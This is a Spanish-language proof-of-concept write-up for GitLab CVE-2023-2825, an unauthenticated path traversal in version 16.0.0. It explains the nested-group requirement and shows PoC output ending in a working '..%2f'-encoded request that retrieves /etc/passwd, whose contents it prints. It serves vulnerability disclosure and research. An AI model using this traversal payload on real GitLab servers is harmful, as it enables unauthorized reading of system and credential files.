
PoC de GitLab CVE-2023-2825. Este PoC aprovecha una vulnerabilidad de path traversal para recuperar el archivo /etc/passwd de un sistema que ejecuta GitLab 16.0.0.
El 23 de mayo de 2023, GitLab lanzó la versión 16.0.1 que corrigió una vulnerabilidad crítica, CVE-2023-2825, que afecta a las ediciones Community Edition (CE) y Enterprise Edition (EE) versión 16.0.0. La vulnerabilidad permite a usuarios no autenticados leer archivos arbitrarios mediante un fallo de path traversal. Fue descubierta por pwnie en HackerOne a través del programa de bug bounty.
Al momento de redactar, no había una prueba de concepto pública disponible.
Un usuario malintencionado no autenticado puede utilizar una vulnerabilidad de path traversal para leer archivos arbitrarios en el servidor cuando existe un adjunto en un proyecto público anidado dentro de al menos cinco grupos. Este es un problema de severidad crítica (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0).
Esta vulnerabilidad tiene un requisito interesante: el proyecto debe estar anidado en al menos 5 grupos. En nuestras pruebas, encontramos una correlación directa entre la cantidad de grupos y los directorios que se pueden recorrer. La regla parece ser N + 1, es decir, si deseas recorrer 10 directorios necesitas tener 11 grupos.
En una instalación estándar de GitLab, los archivos adjuntos se suben a /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file>. Por lo tanto, si deseas llegar a la raíz del sistema de archivos, debes retroceder 10 directorios y, en consecuencia, necesitas 11 grupos.
Cuando subes un archivo como adjunto en una incidencia de GitLab, se envía una solicitud a POST - /:repo/upload. Esto devuelve una respuesta JSON con la URL del archivo, lo que te permite acceder al archivo.
La URL del archivo se compone de /:repo/uploads/:id/:file, donde :file es el nombre del archivo en sí. Reemplazar :file con cualquier ruta de archivo hará que GitLab devuelva el archivo solicitado. GitLab no sanea esta ruta de archivo, lo que conduce a path traversal.
Para explotar esta vulnerabilidad con éxito, debes codificar en URL la / en la ruta del archivo. GitLab leerá esto como un valor y lo decodificará internamente. No codificarla hará que GitLab interprete la / en la ruta del archivo como parte de la ruta.
En nuestras pruebas, codificar solo la / fue suficiente para evitar los errores de ruta de Nginx.
Los usuarios no autenticados solo pueden explotar esta vulnerabilidad en repositorios públicos que cumplan con los requisitos de grupos anidados. Se requiere autenticación para acceder al repositorio en sí.
Desarrollamos la prueba de concepto en Python. Crea los 11 grupos, crea un repositorio público, sube un archivo y luego explota la vulnerabilidad para obtener el archivo /etc/passwd.
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
GitLab recomienda actualizar todas las versiones afectadas por este problema lo antes posible.
https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/